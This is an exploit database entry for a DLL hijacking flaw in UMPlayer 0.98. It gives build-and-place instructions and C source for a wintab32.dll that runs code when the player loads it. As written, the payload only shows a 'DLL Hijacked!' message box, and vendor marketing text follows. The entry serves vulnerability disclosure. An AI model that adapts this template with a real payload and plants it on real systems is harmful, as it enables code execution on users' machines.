`/*
# Exploit Title: UMPlayer 0.98 DLL Hijacking Exploit (wintab32.dll)
# Date: 31/10/2012
# Author: Metropolis
# Url: http://metropolis.fr.cr
# Software info: UMPlayer is the media player that fills all your needs.
# With dozens of advanced features and built-in codecs it can handle any media format.
# Software Link: http://www.umplayer.com/download/
# Version: 0.98
# Tested on: Windows 7
# Instructions:
# 1. Compile dll
# gcc -shared -o wintab32.dll wintab32.c
# 2. Add wintab32.dll
# C:\Program Files (x86)\UMPlayer
# 3. Launch UMPlayer.exe
# 4. MessageBox DLL Hijacked!
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation